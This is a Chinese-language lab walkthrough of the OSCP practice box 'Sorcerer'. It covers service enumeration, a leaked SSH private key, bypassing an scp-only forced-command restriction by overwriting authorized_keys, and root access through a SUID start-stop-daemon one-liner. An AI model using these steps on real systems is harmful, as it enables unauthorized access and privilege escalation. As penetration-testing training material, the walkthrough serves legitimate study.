OSCP靶场--Sorcerer

news2024/11/28 22:41:01

OSCP靶场–Sorcerer

考点(feroxbuster目录扫描+zip包隐藏文件发现公钥私钥+公钥覆盖+私钥登陆+suid start-stop-daemon提权)

1.nmap扫描

##
┌──(root㉿kali)-[~/Desktop]
└─# nmap 192.168.216.100 -sV -sC  -Pn --min-rate 2500 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2024-03-30 01:14 EDT
Nmap scan report for 192.168.216.100
Host is up (0.40s latency).
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 81:2a:42:24:b5:90:a1:ce:9b:ac:e7:4e:1d:6d:b4:c6 (RSA)
|   256 d0:73:2a:05:52:7f:89:09:37:76:e3:56:c8:ab:20:99 (ECDSA)
|_  256 3a:2d:de:33:b0:1e:f2:35:0f:8d:c8:d7:8f:f9:e0:0e (ED25519)
80/tcp    open  http     nginx
|_http-title: Site doesn't have a title (text/html).
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100003  3           2049/udp   nfs
|   100003  3,4         2049/tcp   nfs
|   100005  1,2,3      41637/tcp   mountd
|   100005  1,2,3      52180/udp   mountd
|   100021  1,3,4      42193/tcp   nlockmgr
|   100021  1,3,4      58389/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/udp   nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
7742/tcp  open  http     nginx
|_http-title: SORCERER
33603/tcp open  mountd   1-3 (RPC #100005)
41637/tcp open  mountd   1-3 (RPC #100005)
42193/tcp open  nlockmgr 1-4 (RPC #100021)
59253/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.16 seconds


2.user priv

## http服务:
http://192.168.216.100:7742/


## rpc枚举:
┌──(root㉿kali)-[~/Desktop]
└─# rpcinfo 192.168.216.100           
   program version netid     address                service    owner
    100000    4    tcp       0.0.0.0.0.111          portmapper superuser
    100000    3    tcp       0.0.0.0.0.111          portmapper superuser
    100000    2    tcp       0.0.0.0.0.111          portmapper superuser
    100000    4    udp       0.0.0.0.0.111          portmapper superuser
    100000    3    udp       0.0.0.0.0.111          portmapper superuser
    100000    2    udp       0.0.0.0.0.111          portmapper superuser
    100000    4    local     /run/rpcbind.sock      portmapper superuser
    100000    3    local     /run/rpcbind.sock      portmapper superuser
    100005    1    udp       0.0.0.0.175.192        mountd     superuser
    100005    1    tcp       0.0.0.0.131.67         mountd     superuser
    100005    2    udp       0.0.0.0.210.85         mountd     superuser
    100005    2    tcp       0.0.0.0.231.117        mountd     superuser
    100005    3    udp       0.0.0.0.203.212        mountd     superuser
    100005    3    tcp       0.0.0.0.162.165        mountd     superuser
    100003    3    tcp       0.0.0.0.8.1            nfs        superuser
    100003    4    tcp       0.0.0.0.8.1            nfs        superuser
    100227    3    tcp       0.0.0.0.8.1            -          superuser
    100003    3    udp       0.0.0.0.8.1            nfs        superuser
    100227    3    udp       0.0.0.0.8.1            -          superuser
    100021    1    udp       0.0.0.0.228.21         nlockmgr   superuser
    100021    3    udp       0.0.0.0.228.21         nlockmgr   superuser
    100021    4    udp       0.0.0.0.228.21         nlockmgr   superuser
    100021    1    tcp       0.0.0.0.164.209        nlockmgr   superuser
    100021    3    tcp       0.0.0.0.164.209        nlockmgr   superuser
    100021    4    tcp       0.0.0.0.164.209        nlockmgr   superuser
                                                                         
############
##
## nfs测试:无结果:
https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting
##
┌──(root㉿kali)-[~/Desktop]
└─#  nmap -sV --script=nfs-* 192.168.246.100 -p111,2049

##
┌──(root㉿kali)-[~/Desktop]
└─#  showmount -e 192.168.246.100 
Export list for 192.168.246.100:

##
## rpc测试无结果:
https://book.hacktricks.xyz/network-services-pentesting/pentesting-rpcbind

## rpc枚举:
┌──(root㉿kali)-[~/Desktop]
└─# rpcinfo 192.168.216.100   

# Brute-Force users RIDs
for i in $(seq 500 1100); do
    rpcclient -N -U "" 192.168.246.100 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";
done


#############################################################################
## dirsearch扫描目录无结果:
┌──(root㉿kali)-[~/Desktop]
└─# dirsearch --url http://192.168.216.100:7742/

#################################################################
## 使用feroxbuster工具目录扫描发现了zip文件
┌──(root㉿kali)-[~/Desktop]
└─# feroxbuster -u http://192.168.216.100:7742

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.216.100:7742
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.10.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       65l      117w     1219c http://192.168.216.100:7742/
301      GET        7l       12w      178c http://192.168.216.100:7742/default => http://192.168.216.100:7742/default/
301      GET        7l       12w      178c http://192.168.216.100:7742/zipfiles => http://192.168.216.100:7742/zipfiles/
200      GET       39l      203w    13898c http://192.168.216.100:7742/zipfiles/max.zip
200      GET       13l       82w     4741c http://192.168.216.100:7742/zipfiles/miriam.zip
200      GET       13l       81w     4749c http://192.168.216.100:7742/zipfiles/francis.zip
200      GET       13l       82w     4733c http://192.168.216.100:7742/zipfiles/sofia.zip
[####################] - 4m     60005/60005   0s      found:7       errors:0      
[####################] - 4m     30000/30000   117/s   http://192.168.216.100:7742/ 
[####################] - 4m     30000/30000   118/s   http://192.168.216.100:7742/default/ 
[####################] - 1s     30000/30000   24773/s http://192.168.216.100:7742/zipfiles/ => Directory listing  


###############
##
┌──(root㉿kali)-[~/Desktop]
└─# cat users.txt             
francis
max
miriam
sofia
 
## password字符串:VTUD2XxJjf5LPmu6
###################################
## ssh爆破尝试:
┌──(root㉿kali)-[~/Desktop]
└─# hydra -L users.txt -p VTUD2XxJjf5LPmu6 192.168.216.100 ssh -v
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-30 02:09:42
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:4/p:1), ~1 try per task
[DATA] attacking ssh://192.168.216.100:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://francis@192.168.216.100:22
[ERROR] target ssh://192.168.216.100:22/ does not support password authentication (method reply 4).


##########################
## 隐藏文件中发现用户私钥:
┌──(root㉿kali)-[~/Desktop/soc]
└─# tree ./ -al
./
├── francis.zip
├── home
│   └── francis
│       ├── .bash_logout
│       ├── .bashrc
│       └── .profile
├── home (2)
│   └── max
│       ├── .bash_logout
│       ├── .bashrc
│       ├── .profile
│       ├── scp_wrapper.sh
│       ├── .ssh
│       │   ├── authorized_keys
│       │   ├── id_rsa
│       │   └── id_rsa.pub
│       └── tomcat-users.xml
├── home (3)
│   └── miriam
│       ├── .bash_logout
│       ├── .bashrc
│       └── .profile
├── home (4)
│   └── sofia
│       ├── .bash_logout
│       ├── .bashrc
│       └── .profile
├── max.zip
├── miriam.zip
└── sofia.zip

#################
##
┌──(root㉿kali)-[~/Desktop/soc/home_2/max]
└─# ls -al            
total 32
drwxr-xr-x 3 root root 4096 Sep 24  2020 .
drwx------ 3 root root 4096 Mar 30 02:16 ..
-rw-r--r-- 1 root root  220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 root root 3526 Apr 18  2019 .bashrc
-rw-r--r-- 1 root root  807 Apr 18  2019 .profile
-rwxr-xr-x 1 root root  133 Sep 24  2020 scp_wrapper.sh
drwxr-xr-x 2 root root 4096 Sep 24  2020 .ssh
-rw-r--r-- 1 root root 1991 Sep 24  2020 tomcat-users.xml
                                                                                                                                              
┌──(root㉿kali)-[~/Desktop/soc/home_2/max]
└─# cd .ssh                                             
                                                                                                                                              
┌──(root㉿kali)-[~/…/soc/home_2/max/.ssh]
└─# ls -al
total 20
drwxr-xr-x 2 root root 4096 Sep 24  2020 .
drwxr-xr-x 3 root root 4096 Sep 24  2020 ..
-rw-r--r-- 1 root root  836 Sep 24  2020 authorized_keys
-rw-r--r-- 1 root root 3381 Sep 24  2020 id_rsa
-rw-r--r-- 1 root root  738 Sep 24  2020 id_rsa.pub
                                                                                                                                              
┌──(root㉿kali)-[~/…/soc/home_2/max/.ssh]
└─# cat authorized_keys 
no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,command="/home/max/scp_wrapper.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC39t1AvYVZKohnLz6x92nX2cuwMyuKs0qUMW9Pa+zpZk2hb/ZsULBKQgFuITVtahJispqfRY+kqF8RK6Tr0vDcCP4jbCjadJ3mfY+G5rsLbGfek3vb9drJkJ0+lBm8/OEhThwWFjkdas2oBJF8xSg4dxS6jC8wsn7lB+L3xSS7A84RnhXXQGGhjGNfG6epPB83yTV5awDQZfupYCAR/f5jrxzI26jM44KsNqb01pyJlFl+KgOs1pCvXviZi0RgCfKeYq56Qo6Z0z29QvCuQ16wr0x42ICTUuR+Tkv8jexROrLzc+AEk+cBbb/WE/bVbSKsrK3xB9Bl9V9uRJT/faMENIypZceiiEBGwAcT5lW551wqctwi2HwIuv12yyLswYv7uSvRQ1KU/j0K4weZOqDOg1U4+klGi1is3HsFKrUZsQUu3Lg5tHkXWthgtlROda2Q33jX3WsV8P3Z4+idriTMvJnt2NwCDEoxpi/HX/2p0G5Pdga1+gXeXFc88+DZyGVg4yW1cdSR/+jTKmnluC8BGk+hokfGbX3fq9BIeiFebGnIy+py1e4k8qtWTLuGjbhIkPS3PJrhgSzw2o6IXombpeWCMnAXPgZ/x/49OKpkHogQUAoSNwgfdhgmzLz06MVgT+ap0To7VsTvBJYdQiv9kmVXtQQoUCAX0b84fazWQQ== max@sorcerer                                                                                                                                              
┌──(root㉿kali)-[~/…/soc/home_2/max/.ssh]
└─# cat id_rsa         
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAt/bdQL2FWSqIZy8+sfdp19nLsDMrirNKlDFvT2vs6WZNoW/2bFCw
SkIBbiE1bWoSYrKan0WPpKhfESuk69Lw3Aj+I2wo2nSd5n2Phua7C2xn3pN72/XayZCdPp
QZvPzhIU4cFhY5HWrNqASRfMUoOHcUuowvMLJ+5Qfi98UkuwPOEZ4V10BhoYxjXxunqTwf
N8k1eWsA0GX7qWAgEf3+Y68cyNuozOOCrDam9NaciZRZfioDrNaQr174mYtEYAnynmKuek
KOmdM9vULwrkNesK9MeNiAk1Lkfk5L/I3sUTqy83PgBJPnAW2/1hP21W0irKyt8QfQZfVf
bkSU/32jBDSMqWXHoohARsAHE+ZVuedcKnLcIth8CLr9dssi7MGL+7kr0UNSlP49CuMHmT
qgzoNVOPpJRotYrNx7BSq1GbEFLty4ObR5F1rYYLZUTnWtkN94191rFfD92ePona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KX+5Y28xCrL7HwE2QqVSgHjhJxRuMHhd+wtk
f3l0OtP6fkKDT+MmWgelsamLPAHUN+JB26P+gOJvkHLQsJUyGQf6KbSJdjb5YrExzv7DA6
9DCnuFOowUJmIBZFJW8gl/bbqSHe/m2tFYAkShaV+6/oivKo+aEhsTNmd0XuCV8L6dVYEr
IYEOr3Wp6sqIzVAAABAQDW5iq/v65Gw/65sQsDPvlNW3I8UF9ww0hBAJMp0DJQIDpjWoa3
ggO9GXhduntB3TtHViA25ksS7nDrddC2tNgiz1qnpaR5JtX/WEEgX9Xxaz/iPYbEY471hN
jW+j7KBZj9ytmbXXyasK1dwoheXPGiUYYAWXr5QllAxfYyrblQnik/ldcMItyNfOW2UdWj
KZNW6M6KAssBs6y7Sn/E5lid3VN3ET/3kVeuBbOAg0ZSygKIni9Re2FEl0bubFtWwmW/5k
6PQ2RfbQO9eeOaH4W9/rD5qAokP4k9wJWmlon2rJcJRQs+wR/9Bywa0lBmSO6cJzZ0iuu3
uQx0OZIkU+m9AAAADG1heEBzb3JjZXJlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

############################################
## ssh私钥登陆失败:
┌──(root㉿kali)-[~/Desktop]
└─# ls -al id_rsa 
-rw-r--r-- 1 root root 3381 Mar 30 02:26 id_rsa
                                                                                                                                              
┌──(root㉿kali)-[~/Desktop]
└─# chmod 600 id_rsa
                                                                                                                                              
┌──(root㉿kali)-[~/Desktop]
└─# ssh -i id_rsa max@192.168.216.100
The authenticity of host '192.168.216.100 (192.168.216.100)' can't be established.
ED25519 key fingerprint is SHA256:VS30806A83YR6y/jbQ1fv89VM1FjmXYbb9zmKkJ5N+4.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.216.100' (ED25519) to the list of known hosts.
PTY allocation request failed on channel 0
ACCESS DENIED.
usage: scp [-346BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file]
           [-l limit] [-o ssh_option] [-P port] [-S program] source ... target
Connection to 192.168.216.100 closed.
                                                                                                                                              
┌──(root㉿kali)-[~/Desktop]
└─# ssh -i id_rsa max@192.168.216.100 -o StrictHostKeyChecking=no
PTY allocation request failed on channel 0
ACCESS DENIED.
usage: scp [-346BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file]
           [-l limit] [-o ssh_option] [-P port] [-S program] source ... target


#######################################
## 查看max的zip压缩包,发现里边的shell规定了scp *号通配符才可以执行命令:尝试使用scp命令写公钥:
#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
 'scp'*)
    $SSH_ORIGINAL_COMMAND
    ;;
 *)
    echo "ACCESS DENIED."
    scp
    ;;
esac

######################################################
## 假定max的公钥在目标服务器的位置:/home/max/.ssh/authorized_keys
## 修改受到限制的公钥文件:
┌──(root㉿kali)-[~/Desktop]
└─# cat authorized_keys       
no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,command="/home/max/scp_wrapper.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC39t1AvYVZKohnLz6x92nX2cuwMyuKs0qUMW9Pa+zpZk2hb/ZsULBKQgFuITVtahJispqfRY+kqF8RK6Tr0vDcCP4jbCjadJ3mfY+G5rsLbGfek3vb9drJkJ0+lBm8/OEhThwWFjkdas2oBJF8xSg4dxS6jC8wsn7lB+L3xSS7A84RnhXXQGGhjGNfG6epPB83yTV5awDQZfupYCAR/f5jrxzI26jM44KsNqb01pyJlFl+KgOs1pCvXviZi0RgCfKeYq56Qo6Z0z29QvCuQ16wr0x42ICTUuR+Tkv8jexROrLzc+AEk+cBbb/WE/bVbSKsrK3xB9Bl9V9uRJT/faMENIypZceiiEBGwAcT5lW551wqctwi2HwIuv12yyLswYv7uSvRQ1KU/j0K4weZOqDOg1U4+klGi1is3HsFKrUZsQUu3Lg5tHkXWthgtlROda2Q33jX3WsV8P3Z4+idriTMvJnt2NwCDEoxpi/HX/2p0G5Pdga1+gXeXFc88+DZyGVg4yW1cdSR/+jTKmnluC8BGk+hokfGbX3fq9BIeiFebGnIy+py1e4k8qtWTLuGjbhIkPS3PJrhgSzw2o6IXombpeWCMnAXPgZ/x/49OKpkHogQUAoSNwgfdhgmzLz06MVgT+ap0To7VsTvBJYdQiv9kmVXtQQoUCAX0b84fazWQQ== max@sorcerer 


######################
## 修改后:
┌──(root㉿kali)-[~/Desktop]
└─# cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC39t1AvYVZKohnLz6x92nX2cuwMyuKs0qUMW9Pa+zpZk2hb/ZsULBKQgFuITVtahJispqfRY+kqF8RK6Tr0vDcCP4jbCjadJ3mfY+G5rsLbGfek3vb9drJkJ0+lBm8/OEhThwWFjkdas2oBJF8xSg4dxS6jC8wsn7lB+L3xSS7A84RnhXXQGGhjGNfG6epPB83yTV5awDQZfupYCAR/f5jrxzI26jM44KsNqb01pyJlFl+KgOs1pCvXviZi0RgCfKeYq56Qo6Z0z29QvCuQ16wr0x42ICTUuR+Tkv8jexROrLzc+AEk+cBbb/WE/bVbSKsrK3xB9Bl9V9uRJT/faMENIypZceiiEBGwAcT5lW551wqctwi2HwIuv12yyLswYv7uSvRQ1KU/j0K4weZOqDOg1U4+klGi1is3HsFKrUZsQUu3Lg5tHkXWthgtlROda2Q33jX3WsV8P3Z4+idriTMvJnt2NwCDEoxpi/HX/2p0G5Pdga1+gXeXFc88+DZyGVg4yW1cdSR/+jTKmnluC8BGk+hokfGbX3fq9BIeiFebGnIy+py1e4k8qtWTLuGjbhIkPS3PJrhgSzw2o6IXombpeWCMnAXPgZ/x/49OKpkHogQUAoSNwgfdhgmzLz06MVgT+ap0To7VsTvBJYdQiv9kmVXtQQoUCAX0b84fazWQQ== max@sorcerer
    
## 上传覆盖公钥:                                                                                                                                          
┌──(root㉿kali)-[~/Desktop]
└─# scp -O authorized_keys max@192.168.216.100:/home/max/.ssh/authorized_keys

authorized_keys                                                                                             100%  738     0.7KB/s   00:01    
    
## 私钥登陆:                                                                                                                                          
┌──(root㉿kali)-[~/Desktop]
└─# ssh -i id_rsa max@192.168.216.100                                        
max@sorcerer:~$ whoami
max
max@sorcerer:~$ 
max@sorcerer:~$ max@sorcerer:~$ 

##
##
max@sorcerer:/home$ find ./ -name local.txt
./dennis/local.txt
max@sorcerer:/home$ cat ./dennis/local.txt
312547feb15b3325a78b97895d0ae10e




在这里插入图片描述

在这里插入图片描述
zip文件查看信息:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
私钥登陆:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

3.root priv[suid start-stop-daemon提权]

## linpeas枚举:
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                              
strings Not Found                                                                                                                             
strace Not Found                                                                                                                              
-rwsr-xr-x 1 root root 113K Jun 24  2020 /usr/sbin/mount.nfs                                                                                  
-rwsr-xr-x 1 root root 44K Jun  3  2019 /usr/sbin/start-stop-daemon

######################
##
https://gtfobins.github.io/gtfobins/start-stop-daemon/#suid

###
max@sorcerer:/tmp$ 
max@sorcerer:/tmp$ /usr/sbin/start-stop-daemon -n $RANDOM -S -x /bin/sh -- -p
# id
uid=1003(max) gid=1003(max) euid=0(root) groups=1003(max)
# cat /root/proof.txt
24ad67ffd6780842a718b84d54421fe1
# 


在这里插入图片描述
在这里插入图片描述

4.总结:

## nfs 测试:
https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting

## rpc测试:
https://book.hacktricks.xyz/network-services-pentesting/pentesting-rpcbind

## suid start-stop-daemon提权:
https://gtfobins.github.io/gtfobins/start-stop-daemon/#suid

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1556379.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

nodejs下载安装以及npm、yarn安装及配置教程

1、nodejs下载安装 ​ 1.1、使用nodejs版本管理工具下载安装,可一键安装、切换不同nodejs版本, nvm-setup.zip:安装版,推荐使用 本次演示的是安装版。 1、双击安装文件 nvm-setup.exe 选择nvm安装路径 例如:E:\Soft…

STL中容器、算法、迭代器

STL标准模板库封装了常用的数据结构和算法,让程序员无需太关心真实的数据结构实现。 容器 容器:用来存放数据的。 STL容器就是将运用最广泛的的一些数据结构实现出来。 常用的数据结构有:数组、链表、树、栈、队列、集合、映射表。 这些…

印度神体系与编程思维

印度神体系中存在三大主神:至高神梵天、毗湿奴以及湿婆。 1.神的类型抽象与神性优先级: 每一个神都掌握着世间中所存在的规律,比如天界里因陀罗(帝释天)等神掌控风火水电。换句话说,每一个可以抽象出来的世…

怎么把照片容量变小?图片压缩技巧分享

照片文件通常占据大量存储空间,特别是在拍摄高分辨率照片或大量照片的情况下,通过减小照片文件大小,可以节省设备内部存储或外部存储介质上的空间,使您能够容纳更多的照片。 打开压缩网站,点击选择图片压缩&#xff0…

JUC高并发编程详解

大家好,欢迎来到这篇关于JUC(Java Util Concurrent)高并发编程的博客!在这个数字时代,我们的软件需求越来越庞大,而对于高并发编程的需求也日益迫切。在Java的世界里,JUC就像一位强大的武士&…

Mamba: Linear-Time Sequence Modeling with Selective State Spaces(论文笔记)

What can I say? 2024年我还能说什么? Mamba out! 曼巴出来了! 原文链接: [2312.00752] Mamba: Linear-Time Sequence Modeling with Selective State Spaces (arxiv.org) 原文笔记: What: Mamba: Linear-Time …

线程池-2:runWorker分析-1

为何runWorker中在task被当前worker中的当前线程获取到准备执行task时需要进行worker.lock()? 如下图: 1、某个worker中的run逻辑只会被worker中包装的线程进行执行; 2、按理说:不会存在多个线程并发执行同一个worker中的runWorker()逻辑&a…

蓝桥杯真题Day41 倒计时13天 纯练题,该开始复习知识点了!

蓝桥杯第十二届省赛真题-分果果 题目描述 小蓝要在自己的生日宴会上将 n 包糖果分给 m 个小朋友。每包糖果都要分出去,每个小朋友至少要分一包,也可以分多包。 小蓝将糖果从 1 到 n 编号,第 i 包糖果重 wi。小朋友从 1 到 m 编号。每个小朋…

Codeforces Round 838 (Div. 2) D. GCD Queries

题目 思路&#xff1a; #include <bits/stdc.h> using namespace std; #define int long long #define pb push_back #define fi first #define se second #define lson p << 1 #define rson p << 1 | 1 const int maxn 1e6 5, inf 1e9, maxm 4e4 5; co…

SpringCloud下的微服务应用技术(结尾篇)

六. Feign远程调用 6.1 替代RestTemplate RestTemplate调用问题&#xff1a;代码可读性差&#xff0c;参数复杂且URL难维护。 Feign是一个声明式的HTTP客户端&#xff0c;官方地址&#xff1a;GitHub - OpenFeign/feign: Feign makes writing java http clients easier 它可…

安装DPDK环境

安装DPDK环境 下载解压源码 wget https://fast.dpdk.org/rel/dpdk-19.08.2.tar.xz tar -xcf ./dpdk-19.08.2.tar.xz安装源码 1.处理库文件 编译库文件 ./dpdk-setup.sh 根据操作系统选择对应gcc库文件2.设置环境变量 配置多网卡队列和巨页 ethernet1.virtualDev "vm…

车载以太网AVB交换机 TSN交换机 时间敏感网络 11口 千兆 SW2000TSN

目录 一、TSN时间敏感交换机概述 二、产品介绍 SW2000M/H TSN 1、产品框架 2、产品特点与参数 产品特点 产品参数 3、配置与使用 4、常用连接方式 4.1 双通道作为监控和数据采集器&#xff0c;采集两个设备间的通信数据&#xff08;Bypass功能&#xff09; 4.2 试验搭…

如何用Python脚本自动发送邮件?

目录 1. 基础知识 1.1. SSH&#xff08;Secure Shell&#xff09;协议 1.2. SMTP&#xff08;Simple Mail Transfer Protocol&#xff09;协议 1.3. SSH协议与SMTP协议之间的关系 2. QQ邮箱设置 2.1. 开启SMTP服务 2.2. 编写脚本 3. 测试成功 1. 基础知识 邮件的发送过…

XXE漏洞知识及ctfshow例题

XXE漏洞相关知识 XXE全称为XML Enternal Entity Injection 中文叫xml外部实体注入 什么是xml 简单了解XML&#xff1a; &#xff08;xml和html的区别可以简易的理解成&#xff1a;xml是用来储存数据和传输数据的而html是用来将数据展现出来&#xff09; XML 指可扩展标记语…

UE中:200W个对象单场景实现(待更新)

实现背景&#xff1a;需要显示城市级的行人以及地理市级范围内的路灯的状态&#xff0c;行人需要有状态以及位置的更新&#xff0c;路灯只需要状态的更新&#xff0c;二者都不需要物理 方案1概述&#xff1a;Niagara粒子系统实现 实际效果展示 UE5 集群模拟&#xff08;20W&a…

pmp培训机构哪个比较好?国内10大热门PMP培训机构是哪些?

热门PMP培训机构推荐&#xff0c;PMP备考选择威班就是选择了高通过率 PMP热门培训机构方面我还是比较推荐威班的&#xff0c;当时选择的时候有人推荐我&#xff0c;也了解了很多&#xff0c;各种科普各种对比选择&#xff0c;最后还是选择了威班。经过体验他们的通过率比较靠谱…

通过InoDriverShop伺服调试软件连接汇川SV660F系列伺服的具体方法示例

通过InoDriverShop伺服调试软件连接汇川SV660F系列伺服的具体方法示例 具体连接伺服驱动器的步骤可参考以下内容: 启动InoDriverShop,新建或打开工程

离线linux服务器安装mysql8

本文的服务器环境&#xff1a;openEuler毛坯版的&#xff0c;很多常用的指令都没有预装&#xff0c;比如rpm、tar等等&#xff0c;没有网络坏境&#xff0c;需要自己手动配置本地yum仓库&#xff0c;安装相关指令 1、检查服务器是否已经安装了MySQL 1.1、查询mysql以安装的相关…

imx6ull移植rtthread操作系统

内存映射移植 1.进入&#xff1a;E:\rtthread\rt-smart-20201125\rt-smart\kernel\bsp\imx6ull 2.打开menuconfig&#xff0c;修改PV_OFFSET 1.进入&#xff1a;E:\rtthread\rt-smart-20201125\rt-smart\kernel\bsp\imx6ull\drivers 2.进入board.c&#xff0c;修改即…

番外篇——Idea安装通义灵码插件

最近公司领导心血来潮要求我们这些编外开发人员也要做到与时俱进。听了这话同事们纷纷起哄道&#xff1a;“什么叫与时俱进&#xff1f;怎么个做法呢&#xff1f;”领导洋洋得意地说道&#xff1a;“现在市场啥最火&#xff1f;不就是大模型嘛&#xff01;你们都在自己的开发工…